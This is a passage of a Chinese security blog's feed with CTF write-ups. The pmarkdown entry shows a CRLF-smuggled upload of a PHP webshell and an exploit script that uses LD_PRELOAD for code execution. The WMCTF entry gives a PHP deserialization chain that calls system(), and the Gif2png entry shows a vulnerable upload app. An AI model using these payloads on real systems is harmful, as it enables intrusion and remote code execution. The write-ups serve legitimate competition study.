class="string">"/home/kali/pmarkdown/pmarkdown.so"</span></span><br></pre></td></tr></table></figure><ul><li>写个测试的php文件,运行不报错即可</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">pmark_include(<span class="string">'test.md'</span>);</span><br></pre></td></tr></table></figure><ul><li>使用<a href="https://www.anquanke.com/post/id/204404#h2-5" target="_blank" rel="noopener">WEBPWN入门级调试讲解</a>的方法,断在<code>zm_activate_pmarkdown</code></li></ul><p><img src="/images/vmmap.JPG" alt=""></p><p><img src="/images/break.JPG" alt=""></p><p>这里要注意下php版本的问题,一开始用的php7.4会报错:</p><p><img src="/images/php_extension_error.JPG" alt=""></p><p>这是因为<code>pmarkdown.so</code>是在php7.2环境下编译的(API=20170718),与其他版本的API可能不兼容</p><h2 id="调试分析"><a href="#调试分析" class="headerlink" title="调试分析"></a>调试分析</h2><p>再下一个断点,断在<code>zm_activate_pmarkdown</code>最后的<code>call _zend_hash_find</code></p><p><img src="/images/zend_hash_find.jpg" alt=""></p><p>可以看到<code>ht</code>和<code>key</code>两个参数</p><ul><li>先确认下<code>key</code></li></ul><p><img src="/images/key.JPG" alt=""></p><p>看着没啥问题,正好对应于<code>zend_string</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_string</span> {</span></span><br><span class="line"> zend_refcounted_h gc;</span><br><span class="line"> zend_ulong h;</span><br><span class="line"> <span class="keyword">size_t</span> len;</span><br><span class="line"> <span class="keyword">char</span> val[<span class="number">1</span>];</span><br><span class="line">};</span><br></pre></td></tr></table></figure><ul><li>再来看看<code>ht</code>究竟是什么哈希表,<code>r12</code>值为<code>0x555555c13fa0</code>,也就是<code>core_globals</code>结构体起始地址为<code>0x555555c13fa0</code>,偏移<code>0x170</code>后是<code>0x555555c14110</code></li></ul><p>参考<a href="https://blog.csdn.net/u011660200/article/details/52150164" target="_blank" rel="noopener">gdb 显示结构体中成员的偏移量</a>中的方法,输出<code>core_globals</code>成员的偏移地址,最终找到<code>http_globals</code>成员的地址为<code>0x555555c14110</code>:</p><p><img src="/images/http_globals.JPG" alt=""></p><p><code>http_globals</code>定义为<code>zval * http_globals[6];</code>,用于获取http参数,其有7个索引</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_POST 0</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_GET 1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_COOKIE 2</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_SERVER 3</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_ENV 4</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_FILES 5</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TRACK_VARS_REQUEST 6</span></span><br></pre></td></tr></table></figure><p>这里正好是<code>0x555555c14110</code>,也就是第一个索引<code>TRACK_VARS_POST</code>,后面的<code>zend_hash_find</code>也就相当于<code>$_POST['debug']</code></p><h2 id="CRLF注入"><a href="#CRLF注入" class="headerlink" title="CRLF注入"></a>CRLF注入</h2><p>接着就是post一个<code>debug</code>参数控制<code>path</code>构造文件上传包,方法是构造这样一个双http包:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">GET /sadfas </span><br><span class="line">HTTP/1.1</span><br><span class="line"><span class="attribute">HOST:localhost</span></span><br><span class="line"><span class="attribute">Connection:Keep-Alive</span></span><br><span class="line"><span class="attribute"></span></span><br><span class="line">POST /upload.php HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 127.0.0.1:8080</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh,en-US;q=0.7,en;q=0.3</span><br><span class="line"><span class="attribute">Referer</span>: http://127.0.0.1:8080/index.php?act=upload</span><br><span class="line"><span class="attribute">Content-Type</span>: multipart/form-data; boundary=---------------------------6693638881479522630623693797</span><br><span class="line"><span class="attribute">Content-Length</span>: 244</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span>: 1</span><br><span class="line"></span><br><span class="line">-----------------------------6693638881479522630623693797</span><br><span class="line"><span class="attribute">Content-Disposition</span>: form-data; name="file"; filename="logout.php"</span><br><span class="line"><span class="attribute">Content-Type</span>: text/php</span><br><span class="line"></span><br><span class="line"><?php </span><br><span class="line"><span class="attribute">eval($_REQUEST[a]);</span></span><br><span class="line"><span class="attribute"></span></span><br><span class="line"><span class="attribute">-----------------------------6693638881479522630623693797--</span></span><br><span class="line"><span class="attribute">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span>: 127.0.0.1</span><br><span class="line"><span class="attribute">User-Agent</span>: ComputerVendor</span><br><span class="line"><span class="attribute">Cookie</span>: nilnilnilnil</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Identity</span>: unknown</span><br></pre></td></tr></table></figure><p>因为第二个http包中有<code>Connection: close</code>,所以后面的</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 127.0.0.1</span><br><span class="line"><span class="attribute">User-Agent</span>: ComputerVendor</span><br><span class="line"><span class="attribute">Cookie</span>: nilnilnilnil</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Identity</span>: unknown</span><br></pre></td></tr></table></figure><p>会被丢弃掉</p><p>懒得自己写了,copy一下官方exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">url = <span class="string">'xxxxxx'</span></span><br><span class="line">timeout=<span class="number">5</span></span><br><span class="line">data = <span class="string">'504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'</span>.replace(</span><br><span class="line"> <span class="string">'\n'</span>, <span class="string">''</span>)</span><br><span class="line">data = data.decode(<span class="string">'hex'</span>)</span><br><span class="line">requests.post(url+<span class="string">'/index.php'</span>,</span><br><span class="line"> data={<span class="string">'debug'</span>: <span class="string">"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"</span> % data}, timeout=timeout)</span><br><span class="line"></span><br><span class="line">requests.post(url+<span class="string">'/index.php'</span>,</span><br><span class="line"> data={<span class="string">'debug'</span>: <span class="string">"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"</span> % data}, timeout=timeout)</span><br><span class="line"></span><br><span class="line">requests.post(url+<span class="string">'/post.php?md=logout.md'</span>, data={</span><br><span class="line"> <span class="string">'a'</span>: <span class="string">'move_uploaded_file($_FILES["aaa"]["tmp_name"],"/tmp/test.so");'</span></span><br><span class="line">},</span><br><span class="line"> files={<span class="string">"aaa"</span>: (<span class="string">"filename1"</span>, open(<span class="string">"test.so"</span>, <span class="string">"rb"</span>))},</span><br><span class="line"> timeout=timeout)</span><br><span class="line">requests.post(url+<span class="string">'/post.php?md=logout.md'</span>,</span><br><span class="line"> data={<span class="string">'a'</span>: <span class="string">'putenv("LD_PRELOAD=/tmp/test.so");pmark_read("posts/logout.md");'</span>}, timeout=timeout)</span><br><span class="line">data = requests.post(url+<span class="string">'/post.php?md=logout.md'</span>, data={</span><br><span class="line"> <span class="string">'a'</span>: <span class="string">'print_r(file_get_contents("/tmp/flag"));'</span></span><br><span class="line">}).content</span><br><span class="line">info = re.search(<span class="string">r'flag\{.*\}'</span>, data)</span><br><span class="line">print(info.group(<span class="number">0</span>))</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>去年直接就地爆炸,一年过去了还是没啥区别…</p>
<h1 id="Homebrew-Dubbo"><a href="#Homebrew-Dubbo" class="headerlink" title="Homebrew Dubbo"></a>Homebrew Dubbo<
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>idea maven更新索引的问题</title>
<link href="https://liotree.github.io/2020/08/15/idea-maven%E6%9B%B4%E6%96%B0%E7%B4%A2%E5%BC%95%E7%9A%84%E9%97%AE%E9%A2%98/"/>
<id>https://liotree.github.io/2020/08/15/idea-maven%E6%9B%B4%E6%96%B0%E7%B4%A2%E5%BC%95%E7%9A%84%E9%97%AE%E9%A2%98/</id>
<published>2020-08-15T03:48:45.000Z</published>
<updated>2020-08-15T06:46:18.000Z</updated>
<content type="html"><![CDATA[<p>忽然发现idea的maven没有依赖补全,搜索也找不到包。搜索下发现需要更新索引</p><p><img src="/images/maven%E6%9B%B4%E6%96%B0%E7%B4%A2%E5%BC%95.JPG" alt=""></p><p>然而Remote索引更新的时候永远会Error(图里已经更新成功了)</p><p>试验并搜索了下发现:</p><ul><li><p>idea显示的url永远都是<code>https://repo.maven.apache.org/maven2</code>,但实际上连接的是settings.xml里指定的源</p></li><li><p>更新索引实际上就是下载两个文件</p></li></ul><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">https://repo1.maven.org/maven2/.index/nexus-maven-repository-index.properties</span></span><br><span class="line"><span class="attribute">https://repo1.maven.org/maven2/.index/nexus-maven-repository-index.gz</span></span><br></pre></td></tr></table></figure><ul><li><p>如果settings.xml中没有添加镜像源,直接使用默认源的话会因为网络问题导致更新失败,即使挂了代理也会下一半断掉,然后又要重新来,试了很多次都没成功</p></li><li><p>国内的maven镜像源似乎只剩阿里了,然而神奇的阿里镜像居然没有索引文件…所以会直接更新失败</p></li></ul><p><img src="/images/%E9%98%BF%E9%87%8C%E4%BA%91maven.JPG" alt=""></p><p>解决方法,参考<a href="http://codepub.cn/2015/12/09/IntelliJ-IDEA-in-Maven-plugin-could-not-update-the-index-of-the-solution/" target="_blank" rel="noopener">IntelliJ IDEA中Maven插件无法更新索引之解决办法</a>里利用本地Tomcat作为索引下载服务器的思路,因为现在官方源使用https了,所以文章里的方法没法直接用,但思路是通用的:</p><ul><li><p>先用浏览器将上面的两个文件下载下来(可以断点续传),扔到apache或者tomcat根目录下的<code>/maven/.index/</code>中。本地起一个服务器</p></li><li><p>设置镜像源为</p></li></ul><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"></<span class="name">mirrors</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">mirror</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">id</span>></span>localhost<span class="tag"></<span class="name">id</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">mirrorOf</span>></span>*<span class="tag"></<span class="name">mirrorOf</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">name</span>></span>my maven<span class="tag"></<span class="name">name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url</span>></span>http://127.0.0.1/maven<span class="tag"></<span class="name">url</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">mirror</span>></span></span><br><span class="line"><span class="tag"></<span class="name">mirrors</span>></span></span><br></pre></td></tr></table></figure><ul><li>这时重启idea再update就可以很快的下载了。<code>nexus-maven-repository-index.gz</code>解压后有足足6G,所以下载完成后更新索引也需要等一段时间</li></ul><p>好了水文完毕…</p>]]></content>
<summary type="html">
<p>忽然发现idea的maven没有依赖补全,搜索也找不到包。搜索下发现需要更新索引</p>
<p><img src="/images/maven%E6%9B%B4%E6%96%B0%E7%B4%A2%E5%BC%95.JPG" alt=""></p>
<p>然而Remote索
</summary>
<category term="Code" scheme="https://liotree.github.io/categories/Code/"/>
<category term="java" scheme="https://liotree.github.io/tags/java/"/>
</entry>
<entry>
<title>WMCTF2020复现</title>
<link href="https://liotree.github.io/2020/08/04/WMCTF2020%E5%A4%8D%E7%8E%B0/"/>
<id>https://liotree.github.io/2020/08/04/WMCTF2020%E5%A4%8D%E7%8E%B0/</id>
<published>2020-08-04T13:36:58.000Z</published>
<updated>2020-08-14T12:31:49.000Z</updated>
<content type="html"><![CDATA[<p>还好有两个非预期,不然又是惨案(菜)</p><h1 id="webweb"><a href="#webweb" class="headerlink" title="webweb"></a>webweb</h1><p>做的时候太晚了就睡觉去了…</p><p>赛后找的链子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">lib</span> {</span><br><span class="line"> <span class="title">class</span> <span class="title">magic</span></span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="title">namespace</span> <span class="title">lib</span>\<span class="title">db</span> {</span><br><span class="line"> <span class="title">class</span> <span class="title">cursor</span></span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="title">namespace</span> <span class="title">lib</span>\<span class="title">db</span>\<span class="title">sql</span> {</span><br><span class="line"> <span class="title">class</span> <span class="title">mapper</span></span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="title">namespace</span> <span class="title">lib</span>\<span class="title">cli</span> {</span><br><span class="line"> <span class="title">class</span> <span class="title">ws</span></span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="title">namespace</span> <span class="title">cli</span> {</span><br><span class="line"> <span class="title">use</span> <span class="title">db</span>\<span class="title">sql</span>\<span class="title">Mapper</span>;</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Agent</span></span></span><br><span class="line"><span class="class"> </span>{</span><br><span class="line"> <span class="keyword">protected</span> $server;</span><br><span class="line"> <span class="keyword">protected</span> $socket;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($flag)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> ($flag == <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">$this</span>->server->events[<span class="string">'disconnect'</span>] = [(<span class="keyword">new</span> Agent(<span class="number">2</span>)), <span class="string">'fetch'</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">$this</span>->server = <span class="keyword">new</span> Mapper();</span><br><span class="line"> <span class="keyword">$this</span>->socket = <span class="string">'cat /flag'</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">db</span>\<span class="title">sql</span> {</span><br><span class="line"> <span class="title">class</span> <span class="title">Mapper</span></span><br><span class="line"> {</span><br><span class="line"> <span class="title">function</span> <span class="title">__construct</span>()</span><br><span class="line"> {</span><br><span class="line"> $<span class="title">this</span>-><span class="title">props</span> = [];</span><br><span class="line"> <span class="keyword">$this</span>->read = <span class="string">'system'</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span>{</span><br><span class="line"> $<span class="title">include1</span> = <span class="title">new</span> <span class="title">lib</span>\<span class="title">magic</span>();</span><br><span class="line"> $include2 = <span class="keyword">new</span> lib\db\cursor();</span><br><span class="line"> $include3 = <span class="keyword">new</span> lib\db\sql\mapper();</span><br><span class="line"> $include4 = <span class="keyword">new</span> lib\cli\ws();</span><br><span class="line"> $o = <span class="keyword">new</span> cli\Agent(<span class="number">1</span>);</span><br><span class="line"> $payload = [$include1,$include2,$include3,$include4,$o];</span><br><span class="line"> <span class="keyword">echo</span> urlencode(serialize($payload));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>太久没做这类题感觉生疏的不行…</p>]]></content>
<summary type="html">
<p>还好有两个非预期,不然又是惨案(菜)</p>
<h1 id="webweb"><a href="#webweb" class="headerlink" title="webweb"></a>webweb</h1><p>做的时候太晚了就睡觉去了…</p>
<p>赛后找的链子:
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>CyBRICS CTF 2020 writeup</title>
<link href="https://liotree.github.io/2020/07/28/CyBRICS-CTF-2020-writeup/"/>
<id>https://liotree.github.io/2020/07/28/CyBRICS-CTF-2020-writeup/</id>
<published>2020-07-28T09:14:15.000Z</published>
<updated>2020-07-28T10:42:08.000Z</updated>
<content type="html"><![CDATA[<p>队友都去考研/实习/摸鱼了,只剩两个web狗爆肝全场…</p><h1 id="Hunt"><a href="#Hunt" class="headerlink" title="Hunt"></a>Hunt</h1><p>签到题</p><p>五个recaptcha满天飞,随手把<code>position: absolute</code>去了就直接躺平了</p><p><img src="/images/hunt.JPG" alt=""></p><p>依次点击即可拿到flag</p><h1 id="Gif2png"><a href="#Gif2png" class="headerlink" title="Gif2png"></a>Gif2png</h1><p>一个将gif转为png的功能</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">import</span> uuid</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, render_template, request, redirect, url_for, flash, send_from_directory</span><br><span class="line"><span class="keyword">from</span> flask_bootstrap <span class="keyword">import</span> Bootstrap</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> werkzeug.utils <span class="keyword">import</span> secure_filename</span><br><span class="line"><span class="keyword">import</span> filetype</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ALLOWED_EXTENSIONS = {<span class="string">'gif'</span>}</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">'UPLOAD_FOLDER'</span>] = <span class="string">'./uploads'</span></span><br><span class="line">app.config[<span class="string">'SECRET_KEY'</span>] = <span class="string">'********************************'</span></span><br><span class="line">app.config[<span class="string">'MAX_CONTENT_LENGTH'</span>] = <span class="number">500</span> * <span class="number">1024</span> <span class="comment"># 500Kb</span></span><br><span class="line">ffLaG = <span class="string">"cybrics{********************************}"</span></span><br><span class="line">Bootstrap(app)</span><br><span class="line">logging.getLogger().setLevel(logging.DEBUG)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">allowed_file</span><span class="params">(filename)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">'.'</span> <span class="keyword">in</span> filename <span class="keyword">and</span> filename.rsplit(<span class="string">'.'</span>, <span class="number">1</span>)[<span class="number">1</span>].lower() <span class="keyword">in</span> ALLOWED_EXTENSIONS</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/', methods=['GET', 'POST'])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upload_file</span><span class="params">()</span>:</span></span><br><span class="line"> logging.debug(request.headers)</span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'POST'</span>:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'file'</span> <span class="keyword">not</span> <span class="keyword">in</span> request.files:</span><br><span class="line"> logging.debug(<span class="string">'No file part'</span>)</span><br><span class="line"> flash(<span class="string">'No file part'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br><span class="line"></span><br><span class="line"> file = request.files[<span class="string">'file'</span>]</span><br><span class="line"> <span class="keyword">if</span> file.filename == <span class="string">''</span>:</span><br><span class="line"> logging.debug(<span class="string">'No selected file'</span>)</span><br><span class="line"> flash(<span class="string">'No selected file'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> allowed_file(file.filename):</span><br><span class="line"> logging.debug(<span class="string">f'Invalid file extension of file: <span class="subst">{file.filename}</span>'</span>)</span><br><span class="line"> flash(<span class="string">'Invalid file extension'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> file.content_type != <span class="string">"image/gif"</span>:</span><br><span class="line"> logging.debug(<span class="string">f'Invalid Content type: <span class="subst">{file.content_type}</span>'</span>)</span><br><span class="line"> flash(<span class="string">'Content type is not "image/gif"'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> bool(re.match(<span class="string">"^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$"</span>, file.filename)) <span class="keyword">or</span> <span class="string">".."</span> <span class="keyword">in</span> file.filename:</span><br><span class="line"> logging.debug(<span class="string">f'Invalid symbols in filename: <span class="subst">{file.content_type}</span>'</span>)</span><br><span class="line"> flash(<span class="string">'Invalid filename'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> file <span class="keyword">and</span> allowed_file(file.filename):</span><br><span class="line"> filename = secure_filename(file.filename)</span><br><span class="line"> file.save(os.path.join(app.config[<span class="string">'UPLOAD_FOLDER'</span>], file.filename))</span><br><span class="line"></span><br><span class="line"> mime_type = filetype.guess_mime(<span class="string">f'uploads/<span class="subst">{file.filename}</span>'</span>)</span><br><span class="line"> <span class="keyword">if</span> mime_type != <span class="string">"image/gif"</span>:</span><br><span class="line"> logging.debug(<span class="string">f'Invalid Mime type: <span class="subst">{mime_type}</span>'</span>)</span><br><span class="line"> flash(<span 